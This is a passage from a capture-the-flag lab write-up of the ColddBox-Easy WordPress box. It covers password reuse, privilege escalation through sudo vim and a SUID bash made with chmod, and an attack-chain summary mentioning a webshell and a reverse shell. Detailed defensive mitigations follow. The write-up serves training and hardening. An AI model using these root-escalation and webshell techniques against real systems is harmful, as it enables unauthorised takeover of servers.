c0ldd</h3><pre>su c0ldd<br># password: &lt;DB_PASSWORD&gt;</pre><p>Password reuse confirmed. Check what sudo lets c0ldd run:</p><pre>sudo -l</pre><p><strong>Result:</strong></p><pre>El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:<br>    (root) /bin/vim<br>    (root) /bin/chmod<br>    (root) /usr/bin/ftp</pre><p>Three GTFOBins vectors sitting right there. Two methods are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*p7JQdkq-rblp-OuFUGujjg.png"></figure><h3>5.2 Method 1 — sudo vim</h3><p>vim’s command mode drops straight into a shell:</p><pre>sudo vim -c ':!bash'</pre><p><strong>Result:</strong></p><pre>root@ColddBox-Easy:~#</pre><p>Root shell. One command. Zero interaction after that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*0vVmnNprUpGqMtvQpdjWcA.png"></figure><h3>5.3 Method 2 — sudo chmod (SUID bash)</h3><p>Set the SUID bit on /bin/bash, then call it with -p to keep the effective UID:</p><pre>sudo chmod u+s /bin/bash<br>/bin/bash -p<br>id</pre><p><strong>Result:</strong></p><pre>uid=1000(c0ldd) gid=1000(c0ldd) euid=0(root) grupos=1000(c0ldd),...</pre><p>euid=0 — root via either path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aM9vXd9zZjzxd7YuBOYhhQ.png"></figure><h3>6. Root Flag</h3><pre>cd /root &amp;&amp; cat proof.txt</pre><blockquote><strong><em>proof.txt:</em></strong><em> </em><em>&lt;ROOT_FLAG&gt;</em></blockquote><p>Box done.</p><h3>7. Attack Chain Summary</h3><pre>┌────┬──────────────────────┬───────────────────────────────────────────────────┐<br>│  # │ Step                 │ Detail                                            │<br>├────┼──────────────────────┼───────────────────────────────────────────────────┤<br>│  1 │ Nmap                 │ Port 80 only — Apache 2.4.18, WordPress 4.1.31    │<br>│  2 │ Gobuster             │ /hidden/, /wp-admin/, xmlrpc.php discovered        │<br>│  3 │ /hidden/ lore        │ Reveals users: c0ldd, hugo, philip                │<br>│  4 │ WPScan enum          │ 4 valid WordPress users identified                │<br>│  5 │ WPScan brute-force   │ &lt;WP_USER&gt; : &lt;WP_PASSWORD&gt; cracked                 │<br>│  6 │ curl login           │ Authenticated session cookies harvested           │<br>│  7 │ Nonce extraction     │ _wpnonce extracted from theme-editor.php          │<br>│  8 │ Theme Editor         │ PHP webshell injected into 404.php via POST       │<br>│  9 │ RCE                  │ uid=33(www-data) confirmed via ?cmd=id            │<br>│ 10 │ Reverse shell        │ bash reverse shell via fsockopen, nc -lvnp 4444   │<br>│ 11 │ local.txt            │ &lt;LOCAL_FLAG&gt;                                      │<br>│ 12 │ wp-config.php        │ &lt;DB_PASSWORD&gt; leaked — password reused            │<br>│ 13 │ su c0ldd             │ DB password reuse → system user access            │<br>│ 14 │ sudo -l              │ /bin/vim, /bin/chmod, /usr/bin/ftp available      │<br>│ 15 │ sudo vim             │ sudo vim -c ':!bash' → root shell                 │<br>│ 16 │ proof.txt            │ &lt;ROOT_FLAG&gt;                                       │<br>└────┴──────────────────────┴───────────────────────────────────────────────────┘</pre><h3>8. Defense &amp; Mitigation</h3><h3>8.1 Enforce Strong Password Policies</h3><p>The entire initial foothold came from a weak password that rockyou cracked without breaking a sweat. Enforce minimum complexity requirements — length, mixed character classes — and block passwords that appear in known breach databases. Have I Been Pwned offers a free API for exactly this. Rate-limit login attempts at the application or server level so that brute-force attacks do not even get to run at speed.</p><pre># Recommended: Limit Login Attempts Reloaded plugin<br># Or enforce rate limiting at the server level with fail2ban</pre><h3>8.2 Disable the WordPress Theme/Plugin Editor</h3><p>The theme editor is the direct cause of RCE here. There is no good reason for it to be accessible in a production environment. One line in wp-config.php kills it permanently:</p><pre>// wp-config.php<br>define( 'DISALLOW_FILE_EDIT', true );</pre><p>This stops any authenticated admin — compromised or otherwise — from writing arbitrary PHP through the dashboard.</p><h3>8.3 Disable or Restrict XML-RPC</h3><p>XML-RPC was live and accepting connections. It is a common target for credential stuffing and amplification attacks. Unless Jetpack or a mobile app actively needs it, turn it off:</p><pre>// functions.php or via plugin<br>add_filter( 'xmlrpc_enabled', '__return_false' );</pre><p>Or block it at the web server layer entirely:</p><pre># nginx<br>location = /xmlrpc.php {<br>    deny all;<br>    return 403;<br>}</pre><h3>8.4 Remove or Restrict the /hidden/ Directory</h3><p>The /hidden/ page handed over the full user list and confirmed that credentials were being passed around informally between accounts. Internal notes like that have no place on a public-facing server — period. Any unlisted path that should not be publicly accessible needs to be removed or locked behind authentication. Implement a default-deny policy for unrecognized paths.</p><h3>8.5 WordPress User Enumeration Hardening</h3><p>WPScan pulled valid usernames through RSS feeds and author ID iteration — both passive and requiring no authentication. Lock down username exposure:</p><pre>// Disable author archive URLs — prevents ?author=1 enumeration<br>// functions.php<br>add_action( 'template_redirect', function() {<br>    if ( is_author() ) { wp_redirect( home_url(), 301 ); exit; }<br>});</pre><pre>// Remove users endpoint from REST API<br>add_filter( 'rest_endpoints', function( $endpoints ) {<br>    unset( $endpoints['/wp/v2/users'] );<br>    unset( $endpoints['/wp/v2/users/(?P&lt;id&gt;[\d]+)'] );<br>    return $endpoints;<br>});</pre><h3>8.6 Protect wp-config.php</h3><p>wp-config.php was readable as the web process user and gave up the database password in plaintext — a password that was then reused on the system account. Block direct access at the server level and treat database credentials as entirely separate from any user-facing account:</p><pre># nginx<br>location ~* wp-config\.php { deny all; return 403; }</pre><pre># Apache .htaccess<br>&lt;files wp-config.php&gt;<br>order allow,deny<br>deny from all<br>&lt;/files&gt;</pre><p>Rotate database passwords independently. The moment a system account shares a password with a config file credential, the blast radius of either being compromised doubles.</p><h3>8.7 Apply Least Privilege to sudo</h3><p>c0ldd had unconstrained sudo access to vim, chmod, and ftp — three entries straight out of GTFOBins. None of these belong in a sudoers file unless there is an extremely specific operational need, and even then, they should be scoped as tightly as possible:</p><pre># Audit sudo permissions across all users<br>sudo -l -U c0ldd</pre><pre># Remove unnecessary entries with visudo<br># If elevated file access is genuinely needed, use sudoedit — not /bin/vim</pre><h3>8.8 Keep WordPress and Themes Updated</h3><p>WordPress 4.1.31 is years out of date. An outdated installation opens the door to every public CVE disclosed since that version shipped. Enable auto-updates for core, audit plugins, and themes on a regular schedule, and use a scanner to catch what manual review misses:</p><pre># Enable WordPress auto-updates for minor versions in wp-config.php<br>define( 'WP_AUTO_UPDATE_CORE', true );</pre><pre># Audit outdated themes and plugins regularly<br>wpscan --url http://&lt;TARGET_IP&gt;/ --enumerate vp,vt</pre><h3>8.9 Web Application Firewall &amp; Rate Limiting</h3><p>Even with everything else left misconfigured, a rate limiter on wp-login.php would have made the brute-force stage impractical. A WAF adds another layer on top:</p><pre># nginx — rate limiting on wp-login.php<br>limit_req_zone $binary_remote_addr zone=wplogin:10m rate=5r/m;</pre><pre>location = /wp-login.php {<br>    limit_req zone=wplogin burst=3 nodelay;<br>    include fastcgi_params;<br>    fastcgi_pass php;<br>}</pre><h3>9. Key Takeaways</h3><ul><li><strong>Enumerate everything.</strong> /hidden/ handed over the user list before a single login attempt was made. Hidden directories are never actually hidden — always run Gobuster.</li><li><strong>The WordPress theme editor is a loaded gun.</strong> One set of admin credentials and the entire server is yours. Disable it in every production environment with DISALLOW_FILE_EDIT.</li><li><strong>curl is enough.</strong> The entire attack — login, cookie management, nonce extraction, file injection, RCE — was done without touching a browser. This chain is fully scriptable from end to end.</li><li><strong>wp-config.php is always worth reading.</strong> It almost always has credentials, and those credentials almost always get reused somewhere else on the system.</li><li><strong>Check sudo before anything else.</strong> Three GTFOBins paths were sitting in the sudoers file. Run sudo -l The moment you have a shell, before you reach for LinPEAS or any automated tool.</li><li><strong>Defense in depth matters.</strong> This box had no single catastrophic flaw. It was bad passwords, a live file editor, exposed config files, and a lazy sudoers entry — each one manageable in isolation, lethal in combination. Fix any one of them, and the chain breaks.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=71bde0374470" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/coldboxeasy-wordpress-theme-editor-rce-via-curl-and-three-paths-to-root-via-sudo-offsec-pg-71bde0374470">ColdBoxEasy — WordPress Theme Editor RCE via curl and Three Paths to Root via sudo | OffSec PG</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,48ms -->